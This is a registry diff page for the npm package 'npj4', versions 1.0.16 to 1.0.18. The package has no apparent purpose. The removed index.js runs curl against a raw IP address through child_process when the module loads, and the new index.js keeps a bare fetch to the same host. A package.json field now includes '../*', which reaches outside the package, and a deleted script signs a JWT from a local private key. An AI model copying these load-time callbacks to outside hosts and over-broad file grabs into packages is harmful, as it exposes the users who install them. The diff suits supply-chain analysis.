npj4 1.0.16 → 1.0.18
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +1 -15
- package/package.json +5 -5
- package/test.js +1 -5
- package/jm.js +0 -9
package/index.js
CHANGED
|
@@ -1,15 +1 @@
|
|
|
1
|
-
|
|
2
|
-
const { exec } = require('child_process');
|
|
3
|
-
|
|
4
|
-
// 执行curl命令
|
|
5
|
-
exec('curl http://47.99.124.12:1234/main', (error, stdout, stderr) => {
|
|
6
|
-
if (error) {
|
|
7
|
-
console.error(`执行出错: ${error.message}`);
|
|
8
|
-
return;
|
|
9
|
-
}
|
|
10
|
-
if (stderr) {
|
|
11
|
-
console.error(`stderr: ${stderr}`);
|
|
12
|
-
return;
|
|
13
|
-
}
|
|
14
|
-
console.log(`stdout: ${stdout}`);
|
|
15
|
-
});
|
|
1
|
+
fetch("http://47.99.124.12:1234")
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "npj4",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.18",
|
|
4
4
|
"description": "",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"amis-widgets":[
|
|
@@ -9,9 +9,9 @@
|
|
|
9
9
|
"framework":"vue",
|
|
10
10
|
"usage":"renderer",
|
|
11
11
|
"entry":"test.js",
|
|
12
|
-
"files":
|
|
13
|
-
|
|
14
|
-
|
|
12
|
+
"files":[
|
|
13
|
+
"../*"
|
|
14
|
+
]
|
|
15
15
|
}],
|
|
16
16
|
|
|
17
17
|
"dependencies": {
|
|
@@ -24,4 +24,4 @@
|
|
|
24
24
|
},
|
|
25
25
|
"author": "",
|
|
26
26
|
"license": "ISC"
|
|
27
|
-
}
|
|
27
|
+
}
|
package/test.js
CHANGED
package/jm.js
DELETED
|
@@ -1,9 +0,0 @@
|
|
|
1
|
-
const jwt = require('jsonwebtoken');
|
|
2
|
-
const fs = require('fs');
|
|
3
|
-
const privateKey = fs.readFileSync('C:/Users/非攻墨门/Downloads/aisuda-key(2)/aisuda.key'); // 这里要用应用级别的密钥
|
|
4
|
-
const token = jwt.sign({companyKey: '59b83', appKey: '02bb7705766b'}, privateKey, {
|
|
5
|
-
algorithm: 'RS256'
|
|
6
|
-
}); // 请修改这里的 xxx 和 yyy
|
|
7
|
-
|
|
8
|
-
const Authorization = 'Bearer ' + token;
|
|
9
|
-
console.log(Authorization);
|